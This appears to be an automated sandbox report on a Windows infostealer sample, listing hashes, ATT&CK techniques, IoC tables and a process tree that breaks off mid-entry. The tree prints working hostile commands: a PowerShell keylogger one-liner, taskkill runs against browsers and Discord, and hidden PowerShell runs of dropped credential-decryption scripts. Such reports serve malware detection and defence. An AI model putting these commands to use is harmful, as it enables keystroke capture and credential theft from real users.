8c5206db8b597661f7ef27784702ee20551c78bcc9777e5391c66ed807ccd713

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/05/2026, 02:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Size 77.2MB
Sample260517-cs6gjsfv3p
SHA256 8c5206db8b597661f7ef27784702ee20551c78bcc9777e5391c66ed807ccd713
MD5 cf93c238291792533504c552a49a5903
SHA1 8f028245d555387cdb6424f4d4bb01a21bc8414c
SHA512 7cd394e1fc61be83ed6d197f6affd10a648067905d88637d13f658795fc0fe8949d17dc87306b3372c7c5af3db441d7ae2a1a351d2fd5317d4147441f916afed
SSDEEP 393216:dAsN5fijNgTxNmDJdAJr/NYeerl/CAvYXJu1ZzlxlO7EnmvwjfIZVFxep8MI2w/I:dJUfzDIj20mvt5m6dG/ubi
TLSH
T103085B6262AA05B5E9FFBA3495E24D13DE72BC076B3081CB3348173A1F736E09976711
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2292	powershell.exe
760	powershell.exe
5224	powershell.exe
3148	powershell.exe
2172	powershell.exe
2384	powershell.exe
4260	powershell.exe
3372	powershell.exe
4248	powershell.exe

Executes dropped EXE 41 IoCs

pid	Process
4752	_sq3e_1z4.exe
4892	_sq3e_1z4.exe
232	_sq3e_1z4.exe
5500	_sq3e_1z4.exe
3388	_sq3e_1z4.exe
5760	_sq3e_1z4.exe
4636	_sq3e_1z4.exe
1988	_sq3e_1z4.exe
708	_sq3e_1z4.exe
1612	_sq3e_1z4.exe
3308	_sq3e_1z4.exe
4180	_sq3e_1z4.exe
5504	_sq3e_1z4.exe
5464	_sq3e_1z4.exe
4452	_sq3e_1z4.exe
4132	_sq3e_1z4.exe
3616	_sq3e_1z4.exe
5112	_sq3e_1z4.exe
3024	_sq3e_1z4.exe
1172	_sq3e_1z4.exe
3960	_sq3e_1z4.exe
4560	_sq3e_1z4.exe
5264	_sq3e_1z4.exe
4412	_sq3e_1z4.exe
3728	_sq3e_1z4.exe
4296	_sq3e_1z4.exe
5816	_sq3e_1z4.exe
3720	_sq3e_1z4.exe
4912	_sq3e_1z4.exe
4168	_sq3e_1z4.exe
6032	_sq3e_1z4.exe
236	_sq3e_1z4.exe
5860	_sq3e_1z4.exe
5064	_sq3e_1z4.exe
3624	_sq3e_1z4.exe
4636	_sq3e_1z4.exe
5912	_sq3e_1z4.exe
3268	_sq3e_1z4.exe
4404	_sq3e_1z4.exe
4620	_sq3e_1z4.exe
2552	_sq3e_1z4.exe

Loads dropped DLL 3 IoCs

pid	Process
2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe

Kills process with taskkill 23 IoCs

defense_evasion

pid	Process
4432	taskkill.exe
5540	taskkill.exe
4408	taskkill.exe
5372	taskkill.exe
2424	taskkill.exe
2092	taskkill.exe
5568	taskkill.exe
4860	taskkill.exe
5332	taskkill.exe
952	taskkill.exe
4576	taskkill.exe
3788	taskkill.exe
2664	taskkill.exe
4024	taskkill.exe
1784	taskkill.exe
568	taskkill.exe
5148	taskkill.exe
3836	taskkill.exe
5224	taskkill.exe
4848	taskkill.exe
3984	taskkill.exe
1032	taskkill.exe
5372	taskkill.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
4248	powershell.exe
4248	powershell.exe
2384	powershell.exe
2384	powershell.exe
2384	powershell.exe
2292	powershell.exe
2292	powershell.exe
760	powershell.exe
760	powershell.exe
760	powershell.exe
3148	powershell.exe
3148	powershell.exe
3148	powershell.exe
5224	powershell.exe
5224	powershell.exe
4260	powershell.exe
4260	powershell.exe
3372	powershell.exe
3372	powershell.exe
2172	powershell.exe
2172	powershell.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	taskkill.exe
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeDebugPrivilege	5568	taskkill.exe
Token: SeDebugPrivilege	2664	taskkill.exe
Token: SeDebugPrivilege	4860	taskkill.exe
Token: SeDebugPrivilege	5372	taskkill.exe
Token: SeDebugPrivilege	4432	taskkill.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	760	powershell.exe
Token: SeDebugPrivilege	3836	taskkill.exe
Token: SeDebugPrivilege	5148	taskkill.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	5224	powershell.exe
Token: SeDebugPrivilege	568	taskkill.exe
Token: SeDebugPrivilege	4408	taskkill.exe
Token: SeDebugPrivilege	5332	taskkill.exe
Token: SeDebugPrivilege	1784	taskkill.exe
Token: SeDebugPrivilege	5540	taskkill.exe
Token: SeDebugPrivilege	4024	taskkill.exe
Token: SeDebugPrivilege	1032	taskkill.exe
Token: SeDebugPrivilege	952	taskkill.exe
Token: SeDebugPrivilege	5372	taskkill.exe
Token: SeDebugPrivilege	2424	taskkill.exe
Token: SeDebugPrivilege	2092	taskkill.exe
Token: SeDebugPrivilege	4576	taskkill.exe
Token: SeDebugPrivilege	5224	taskkill.exe
Token: SeDebugPrivilege	4848	taskkill.exe
Token: SeDebugPrivilege	3788	taskkill.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeDebugPrivilege	2172	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 4248	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	81
PID 2560 wrote to memory of 892	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	82
PID 892 wrote to memory of 3984	892	cmd.exe	85
PID 2560 wrote to memory of 3948	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	87
PID 3948 wrote to memory of 5568	3948	cmd.exe	89
PID 4248 wrote to memory of 4436	4248	powershell.exe	90
PID 2560 wrote to memory of 4364	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	91
PID 4364 wrote to memory of 2664	4364	cmd.exe	93
PID 2560 wrote to memory of 2868	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	94
PID 4436 wrote to memory of 2696	4436	csc.exe	96
PID 2868 wrote to memory of 4860	2868	cmd.exe	97
PID 2560 wrote to memory of 4852	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	98
PID 4852 wrote to memory of 5372	4852	cmd.exe	100
PID 2560 wrote to memory of 1196	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	101
PID 1196 wrote to memory of 4432	1196	cmd.exe	103
PID 2560 wrote to memory of 5868	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	104
PID 5868 wrote to memory of 2384	5868	cmd.exe	106
PID 2384 wrote to memory of 2952	2384	powershell.exe	107
PID 2952 wrote to memory of 2748	2952	csc.exe	108
PID 2560 wrote to memory of 5400	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	109
PID 5400 wrote to memory of 2292	5400	cmd.exe	111
PID 2560 wrote to memory of 488	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	112
PID 488 wrote to memory of 760	488	cmd.exe	114
PID 760 wrote to memory of 2780	760	powershell.exe	115
PID 2780 wrote to memory of 5584	2780	csc.exe	116
PID 760 wrote to memory of 3460	760	powershell.exe	117
PID 3460 wrote to memory of 5352	3460	csc.exe	118
PID 2560 wrote to memory of 4752	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	119
PID 2560 wrote to memory of 4892	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	121
PID 2560 wrote to memory of 232	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	123
PID 2560 wrote to memory of 5500	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	125
PID 2560 wrote to memory of 3388	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	127
PID 2560 wrote to memory of 5760	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	129
PID 2560 wrote to memory of 4636	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	131
PID 2560 wrote to memory of 1988	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	133
PID 2560 wrote to memory of 708	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	135
PID 2560 wrote to memory of 1612	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	137
PID 2560 wrote to memory of 3308	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	139
PID 2560 wrote to memory of 4180	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	141
PID 2560 wrote to memory of 5504	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	143
PID 2560 wrote to memory of 5464	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	145
PID 2560 wrote to memory of 4452	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	147
PID 2560 wrote to memory of 4132	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	149
PID 2560 wrote to memory of 3616	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	151
PID 2560 wrote to memory of 5112	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	153
PID 2560 wrote to memory of 3024	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	155
PID 2560 wrote to memory of 1172	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	157
PID 2560 wrote to memory of 948	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	159
PID 948 wrote to memory of 3836	948	cmd.exe	161
PID 2560 wrote to memory of 4084	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	162
PID 4084 wrote to memory of 5148	4084	cmd.exe	164
PID 2560 wrote to memory of 4100	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	165
PID 4100 wrote to memory of 3148	4100	cmd.exe	167
PID 3148 wrote to memory of 5952	3148	powershell.exe	168
PID 5952 wrote to memory of 436	5952	csc.exe	169
PID 2560 wrote to memory of 4596	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	170
PID 4596 wrote to memory of 5224	4596	cmd.exe	253
PID 2560 wrote to memory of 3960	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	173
PID 2560 wrote to memory of 4560	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	175
PID 2560 wrote to memory of 5264	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	257
PID 2560 wrote to memory of 4412	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	179
PID 2560 wrote to memory of 3728	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	181
PID 2560 wrote to memory of 4296	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	183
PID 2560 wrote to memory of 5816	2560	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	185

C:\Users\Admin\AppData\Local\Temp\2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern short GetAsyncKeyState(int v);' -Name \"W\" -Namespace \"N\" -PassThru | Out-Null; while($true){ for($i=8; $i -le 190; $i++){ if([N.W]::GetAsyncKeyState($i) -band 0x8000){ if(!$p[$i]){ Write-Output $i; $p[$i]=$true } }else{$p[$i]=$false} }; Start-Sleep -m 20 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zfh3ooi0\zfh3ooi0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4436
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4DBD.tmp" "c:\Users\Admin\AppData\Local\Temp\zfh3ooi0\CSC3999F082CF5044B6960E35374C37E2F.TMP"
      4⤵
      PID:2696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM brave.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:892
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM brave.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "Discord.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3948
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "Discord.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordCanary.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordCanary.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordPTB.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordPTB.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordDevelopment.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordDevelopment.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1196
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\system_script_1779280944582_hyefuq.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\system_script_1779280944582_hyefuq.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\va23qf4e\va23qf4e.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2952
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5176.tmp" "c:\Users\Admin\AppData\Local\Temp\va23qf4e\CSC2D4919C7B5C64A958C3A265EB4EE946.TMP"
        5⤵
        
        PID:2748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1779280945285_i5s5or.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1779280945285_i5s5or.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\cng_script_1779280945910_4anrsf.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\cng_script_1779280945910_4anrsf.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zafpo00k\zafpo00k.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2780
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5678.tmp" "c:\Users\Admin\AppData\Local\Temp\zafpo00k\CSC3C8B347153644A3FAE48C79FBBEBAA60.TMP"
        5⤵
        
        PID:5584
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wexynfdw\wexynfdw.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3460
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
